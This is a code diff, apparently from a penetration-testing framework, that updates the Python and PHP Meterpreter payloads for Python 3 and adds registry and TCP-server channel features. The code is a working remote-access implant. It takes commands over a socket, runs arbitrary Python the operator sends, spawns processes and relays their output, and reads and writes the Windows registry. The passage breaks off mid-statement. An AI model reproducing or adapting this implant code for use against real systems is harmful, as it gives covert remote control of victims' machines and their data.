handle_id = ctypes.c_void_p()
|
handle_id = ctypes.c_void_p()
|
||||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
||||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
|
@ -914,24 +1405,26 @@ def stdapi_registry_query_class(request, response):
|
||||||
|
|
||||||
@meterpreter.register_function_windll
|
@meterpreter.register_function_windll
|
||||||
def stdapi_registry_query_value(request, response):
|
def stdapi_registry_query_value(request, response):
|
||||||
REG_SZ = 1
|
|
||||||
REG_DWORD = 4
|
|
||||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||||
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||||
value_type = ctypes.c_uint32()
|
value_type = ctypes.c_uint32()
|
||||||
value_type.value = 0
|
value_type.value = 0
|
||||||
value_data = (ctypes.c_ubyte * 4096)()
|
value_data = (ctypes.c_ubyte * 4096)()
|
||||||
value_data_sz = ctypes.c_uint32()
|
value_data_sz = ctypes.c_uint32()
|
||||||
value_data_sz.value = ctypes.sizeof(value_data)
|
value_data_sz.value = ctypes.sizeof(value_data)
|
||||||
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
||||||
if result == ERROR_SUCCESS:
|
if result == ERROR_SUCCESS:
|
||||||
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
||||||
if value_type.value == REG_SZ:
|
if value_type.value == winreg.REG_SZ:
|
||||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
|
||||||
elif value_type.value == REG_DWORD:
|
elif value_type.value == winreg.REG_DWORD:
|
||||||
value = value_data[:4]
|
value = value_data[:4]
|
||||||
value.reverse()
|
value.reverse()
|
||||||
|
if sys.version_info[0] < 3:
|
||||||
value = ''.join(map(chr, value))
|
value = ''.join(map(chr, value))
|
||||||
|
else:
|
||||||
|
value = bytes(value)
|
||||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
|
||||||
else:
|
else:
|
||||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
||||||
|
@ -942,9 +1435,10 @@ def stdapi_registry_query_value(request, response):
|
||||||
def stdapi_registry_set_value(request, response):
|
def stdapi_registry_set_value(request, response):
|
||||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||||
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||||
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
||||||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
|
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||||
return result, response
|
return result, response
|
||||||
|
|
||||||
@meterpreter.register_function_windll
|
@meterpreter.register_function_windll
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -686,6 +686,9 @@ function tlv_unpack($raw_tlv) {
|
||||||
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||||
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
||||||
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
|
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
|
||||||
|
# PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing
|
||||||
|
# NULL, so catch that here
|
||||||
|
$tlv['value'] = str_replace("\0", "", $tlv['value']);
|
||||||
}
|
}
|
||||||
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
||||||
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
|
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||||
|
@ -911,7 +914,8 @@ function read($resource, $len=null) {
|
||||||
$r = Array($resource);
|
$r = Array($resource);
|
||||||
my_print("Calling select to see if there's data on $resource");
|
my_print("Calling select to see if there's data on $resource");
|
||||||
while (true) {
|
while (true) {
|
||||||
$cnt = stream_select($r, $w=NULL, $e=NULL, 0);
|
$w=NULL;$e=NULL;$t=0;
|
||||||
|
$cnt = stream_select($r, $w, $e, $t);
|
||||||
|
|
||||||
# Stream is not ready to read, have to live with what we've gotten
|
# Stream is not ready to read, have to live with what we've gotten
|
||||||
# so far
|
# so far
|
||||||
|
@ -1147,7 +1151,8 @@ add_reader($msgsock);
|
||||||
# Main dispatch loop
|
# Main dispatch loop
|
||||||
#
|
#
|
||||||
$r=$GLOBALS['readers'];
|
$r=$GLOBALS['readers'];
|
||||||
while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
|
$w=NULL;$e=NULL;$t=1;
|
||||||
|
while (false !== ($cnt = select($r, $w, $e, $t))) {
|
||||||
#my_print(sprintf("Returned from select with %s readers", count($r)));
|
#my_print(sprintf("Returned from select with %s readers", count($r)));
|
||||||
$read_failed = false;
|
$read_failed = false;
|
||||||
for ($i = 0; $i < $cnt; $i++) {
|
for ($i = 0; $i < $cnt; $i++) {
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
import code
|
import code
|
||||||
import ctypes
|
|
||||||
import os
|
import os
|
||||||
import random
|
import random
|
||||||
import select
|
import select
|
||||||
|
@ -9,12 +8,30 @@ import struct
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import threading
|
import threading
|
||||||
|
import time
|
||||||
|
import traceback
|
||||||
|
|
||||||
|
try:
|
||||||
|
import ctypes
|
||||||
|
except ImportError:
|
||||||
|
has_windll = False
|
||||||
|
else:
|
||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
|
||||||
|
if sys.version_info[0] < 3:
|
||||||
|
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||||
|
bytes = lambda *args: str(*args[:1])
|
||||||
|
NULL_BYTE = '\x00'
|
||||||
|
else:
|
||||||
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||||
|
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||||
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||||
|
|
||||||
#
|
#
|
||||||
# Constants
|
# Constants
|
||||||
#
|
#
|
||||||
|
DEBUGGING = False
|
||||||
|
|
||||||
PACKET_TYPE_REQUEST = 0
|
PACKET_TYPE_REQUEST = 0
|
||||||
PACKET_TYPE_RESPONSE = 1
|
PACKET_TYPE_RESPONSE = 1
|
||||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||||
|
@ -73,6 +90,7 @@ TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||||
|
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
||||||
|
|
||||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||||
|
@ -89,28 +107,39 @@ TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||||
|
|
||||||
|
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||||
|
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
||||||
|
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
||||||
|
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||||
|
|
||||||
|
EXPORTED_SYMBOLS = {}
|
||||||
|
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
|
||||||
|
|
||||||
|
def export(symbol):
|
||||||
|
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
||||||
|
return symbol
|
||||||
|
|
||||||
def generate_request_id():
|
def generate_request_id():
|
||||||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||||
return ''.join(random.choice(chars) for x in xrange(32))
|
return ''.join(random.choice(chars) for x in range(32))
|
||||||
|
|
||||||
def packet_get_tlv(pkt, tlv_type):
|
@export
|
||||||
offset = 0
|
def inet_pton(family, address):
|
||||||
while (offset < len(pkt)):
|
if hasattr(socket, 'inet_pton'):
|
||||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
return socket.inet_pton(family, address)
|
||||||
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
|
elif has_windll:
|
||||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
lpAddress = (ctypes.c_ubyte * 28)()
|
||||||
val = val.split('\x00', 1)[0]
|
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||||
val = struct.unpack('>I', val)[0]
|
raise Exception('WSAStringToAddress failed')
|
||||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
if family == socket.AF_INET:
|
||||||
val = bool(struct.unpack('b', val)[0])
|
return ''.join(map(chr, lpAddress[4:8]))
|
||||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
elif family == socket.AF_INET6:
|
||||||
pass
|
return ''.join(map(chr, lpAddress[8:24]))
|
||||||
return {'type':tlv[1], 'length':tlv[0], 'value':val}
|
raise Exception('no suitable inet_pton functionality is available')
|
||||||
offset += tlv[0]
|
|
||||||
return {}
|
|
||||||
|
|
||||||
|
@export
|
||||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||||
offset = 0
|
offset = 0
|
||||||
while (offset < len(pkt)):
|
while (offset < len(pkt)):
|
||||||
|
@ -118,7 +147,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
||||||
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
||||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||||
val = val.split('\x00', 1)[0]
|
val = str(val.split(NULL_BYTE, 1)[0])
|
||||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||||
val = struct.unpack('>I', val)[0]
|
val = struct.unpack('>I', val)[0]
|
||||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||||
|
@ -129,36 +158,77 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
||||||
offset += tlv[0]
|
offset += tlv[0]
|
||||||
raise StopIteration()
|
raise StopIteration()
|
||||||
|
|
||||||
|
@export
|
||||||
|
def packet_get_tlv(pkt, tlv_type):
|
||||||
|
try:
|
||||||
|
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
||||||
|
except IndexError:
|
||||||
|
return {}
|
||||||
|
return tlv
|
||||||
|
|
||||||
|
@export
|
||||||
def tlv_pack(*args):
|
def tlv_pack(*args):
|
||||||
if len(args) == 2:
|
if len(args) == 2:
|
||||||
tlv = {'type':args[0], 'value':args[1]}
|
tlv = {'type':args[0], 'value':args[1]}
|
||||||
else:
|
else:
|
||||||
tlv = args[0]
|
tlv = args[0]
|
||||||
data = ""
|
data = ""
|
||||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||||
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
|
|
||||||
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
|
||||||
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
||||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||||
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
|
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||||
|
else:
|
||||||
|
value = tlv['value']
|
||||||
|
if not is_bytes(value):
|
||||||
|
value = bytes(value, 'UTF-8')
|
||||||
|
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||||
|
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterFile(object):
|
||||||
|
def __init__(self, file_obj):
|
||||||
|
self.file_obj = file_obj
|
||||||
|
|
||||||
|
def __getattr__(self, name):
|
||||||
|
return getattr(self.file_obj, name)
|
||||||
|
export(MeterpreterFile)
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterSocket(object):
|
||||||
|
def __init__(self, sock):
|
||||||
|
self.sock = sock
|
||||||
|
|
||||||
|
def __getattr__(self, name):
|
||||||
|
return getattr(self.sock, name)
|
||||||
|
export(MeterpreterSocket)
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterSocketClient(MeterpreterSocket):
|
||||||
|
pass
|
||||||
|
export(MeterpreterSocketClient)
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterSocketServer(MeterpreterSocket):
|
||||||
|
pass
|
||||||
|
export(MeterpreterSocketServer)
|
||||||
|
|
||||||
class STDProcessBuffer(threading.Thread):
|
class STDProcessBuffer(threading.Thread):
|
||||||
def __init__(self, std, is_alive):
|
def __init__(self, std, is_alive):
|
||||||
threading.Thread.__init__(self)
|
threading.Thread.__init__(self)
|
||||||
self.std = std
|
self.std = std
|
||||||
self.is_alive = is_alive
|
self.is_alive = is_alive
|
||||||
self.data = ''
|
self.data = bytes()
|
||||||
self.data_lock = threading.RLock()
|
self.data_lock = threading.RLock()
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
for byte in iter(lambda: self.std.read(1), ''):
|
for byte in iter(lambda: self.std.read(1), bytes()):
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
self.data += byte
|
self.data += byte
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
|
@ -166,21 +236,28 @@ class STDProcessBuffer(threading.Thread):
|
||||||
def is_read_ready(self):
|
def is_read_ready(self):
|
||||||
return len(self.data) != 0
|
return len(self.data) != 0
|
||||||
|
|
||||||
def read(self, l = None):
|
def peek(self, l = None):
|
||||||
data = ''
|
data = bytes()
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
if l == None:
|
if l == None:
|
||||||
data = self.data
|
data = self.data
|
||||||
self.data = ''
|
|
||||||
else:
|
else:
|
||||||
data = self.data[0:l]
|
data = self.data[0:l]
|
||||||
self.data = self.data[l:]
|
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
def read(self, l = None):
|
||||||
|
self.data_lock.acquire()
|
||||||
|
data = self.peek(l)
|
||||||
|
self.data = self.data[len(data):]
|
||||||
|
self.data_lock.release()
|
||||||
|
return data
|
||||||
|
|
||||||
|
#@export
|
||||||
class STDProcess(subprocess.Popen):
|
class STDProcess(subprocess.Popen):
|
||||||
def __init__(self, *args, **kwargs):
|
def __init__(self, *args, **kwargs):
|
||||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||||
|
self.echo_protection = False
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
||||||
|
@ -188,6 +265,19 @@ class STDProcess(subprocess.Popen):
|
||||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||||
self.stderr_reader.start()
|
self.stderr_reader.start()
|
||||||
|
|
||||||
|
def write(self, channel_data):
|
||||||
|
self.stdin.write(channel_data)
|
||||||
|
self.stdin.flush()
|
||||||
|
if self.echo_protection:
|
||||||
|
end_time = time.time() + 0.5
|
||||||
|
out_data = bytes()
|
||||||
|
while (time.time() < end_time) and (out_data != channel_data):
|
||||||
|
if self.stdout_reader.is_read_ready():
|
||||||
|
out_data = self.stdout_reader.peek(len(channel_data))
|
||||||
|
if out_data == channel_data:
|
||||||
|
self.stdout_reader.read(len(channel_data))
|
||||||
|
export(STDProcess)
|
||||||
|
|
||||||
class PythonMeterpreter(object):
|
class PythonMeterpreter(object):
|
||||||
def __init__(self, socket):
|
def __init__(self, socket):
|
||||||
self.socket = socket
|
self.socket = socket
|
||||||
|
@ -195,18 +285,21 @@ class PythonMeterpreter(object):
|
||||||
self.channels = {}
|
self.channels = {}
|
||||||
self.interact_channels = []
|
self.interact_channels = []
|
||||||
self.processes = {}
|
self.processes = {}
|
||||||
for func in filter(lambda x: x.startswith('_core'), dir(self)):
|
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||||
self.extension_functions[func[1:]] = getattr(self, func)
|
self.extension_functions[func[1:]] = getattr(self, func)
|
||||||
self.running = True
|
self.running = True
|
||||||
|
|
||||||
def register_function(self, func):
|
def register_function(self, func):
|
||||||
self.extension_functions[func.__name__] = func
|
self.extension_functions[func.__name__] = func
|
||||||
|
return func
|
||||||
|
|
||||||
def register_function_windll(self, func):
|
def register_function_windll(self, func):
|
||||||
if has_windll:
|
if has_windll:
|
||||||
self.register_function(func)
|
self.register_function(func)
|
||||||
|
return func
|
||||||
|
|
||||||
def add_channel(self, channel):
|
def add_channel(self, channel):
|
||||||
|
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
|
||||||
idx = 0
|
idx = 0
|
||||||
while idx in self.channels:
|
while idx in self.channels:
|
||||||
idx += 1
|
idx += 1
|
||||||
|
@ -228,36 +321,52 @@ class PythonMeterpreter(object):
|
||||||
break
|
break
|
||||||
req_length, req_type = struct.unpack('>II', request)
|
req_length, req_type = struct.unpack('>II', request)
|
||||||
req_length -= 8
|
req_length -= 8
|
||||||
request = ''
|
request = bytes()
|
||||||
while len(request) < req_length:
|
while len(request) < req_length:
|
||||||
request += self.socket.recv(4096)
|
request += self.socket.recv(4096)
|
||||||
response = self.create_response(request)
|
response = self.create_response(request)
|
||||||
self.socket.send(response)
|
self.socket.send(response)
|
||||||
else:
|
else:
|
||||||
channels_for_removal = []
|
channels_for_removal = []
|
||||||
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
|
# iterate over the keys because self.channels could be modified if one is closed
|
||||||
|
channel_ids = list(self.channels.keys())
|
||||||
for channel_id in channel_ids:
|
for channel_id in channel_ids:
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
data = ''
|
data = bytes()
|
||||||
if isinstance(channel, STDProcess):
|
if isinstance(channel, STDProcess):
|
||||||
if not channel_id in self.interact_channels:
|
if not channel_id in self.interact_channels:
|
||||||
continue
|
continue
|
||||||
if channel.stdout_reader.is_read_ready():
|
if channel.stderr_reader.is_read_ready():
|
||||||
data = channel.stdout_reader.read()
|
|
||||||
elif channel.stderr_reader.is_read_ready():
|
|
||||||
data = channel.stderr_reader.read()
|
data = channel.stderr_reader.read()
|
||||||
|
elif channel.stdout_reader.is_read_ready():
|
||||||
|
data = channel.stdout_reader.read()
|
||||||
elif channel.poll() != None:
|
elif channel.poll() != None:
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
elif isinstance(channel, socket._socketobject):
|
elif isinstance(channel, MeterpreterSocketClient):
|
||||||
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||||
try:
|
try:
|
||||||
d = channel.recv(1)
|
d = channel.recv(1)
|
||||||
except socket.error:
|
except socket.error:
|
||||||
d = ''
|
d = bytes()
|
||||||
if len(d) == 0:
|
if len(d) == 0:
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
break
|
break
|
||||||
data += d
|
data += d
|
||||||
|
elif isinstance(channel, MeterpreterSocketServer):
|
||||||
|
if len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||||
|
(client_sock, client_addr) = channel.accept()
|
||||||
|
server_addr = channel.getsockname()
|
||||||
|
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
||||||
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
||||||
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
||||||
|
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
||||||
|
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||||
|
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||||
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
|
self.socket.send(pkt)
|
||||||
if data:
|
if data:
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||||
|
@ -283,11 +392,13 @@ class PythonMeterpreter(object):
|
||||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||||
return ERROR_FAILURE
|
return ERROR_FAILURE
|
||||||
preloadlib_methods = self.extension_functions.keys()
|
preloadlib_methods = list(self.extension_functions.keys())
|
||||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
symbols_for_extensions = {'meterpreter':self}
|
||||||
|
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||||
|
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||||
postloadlib_methods = self.extension_functions.keys()
|
postloadlib_methods = list(self.extension_functions.keys())
|
||||||
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
|
||||||
for method in new_methods:
|
for method in new_methods:
|
||||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
@ -299,7 +410,7 @@ class PythonMeterpreter(object):
|
||||||
|
|
||||||
def _core_channel_open(self, request, response):
|
def _core_channel_open(self, request, response):
|
||||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||||
handler = 'channel_create_' + channel_type['value']
|
handler = 'channel_open_' + channel_type['value']
|
||||||
if handler not in self.extension_functions:
|
if handler not in self.extension_functions:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
handler = self.extension_functions[handler]
|
handler = self.extension_functions[handler]
|
||||||
|
@ -310,11 +421,11 @@ class PythonMeterpreter(object):
|
||||||
if channel_id not in self.channels:
|
if channel_id not in self.channels:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
if isinstance(channel, file):
|
if isinstance(channel, subprocess.Popen):
|
||||||
channel.close()
|
|
||||||
elif isinstance(channel, subprocess.Popen):
|
|
||||||
channel.kill()
|
channel.kill()
|
||||||
elif isinstance(s, socket._socketobject):
|
